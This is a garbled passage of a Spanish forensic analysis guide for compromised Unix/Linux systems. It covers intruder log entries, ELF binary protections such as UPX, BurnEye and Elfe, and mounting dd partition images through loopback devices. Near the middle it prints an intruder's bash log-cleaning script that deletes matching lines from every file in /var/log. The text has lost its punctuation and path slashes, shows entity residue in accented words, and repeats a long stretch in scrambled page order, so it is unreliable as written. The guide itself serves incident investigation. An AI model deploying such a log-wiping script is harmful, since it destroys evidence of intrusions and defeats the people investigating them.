Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 44: Análisis Forense de Sistemas GNU/Linux, Unix

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

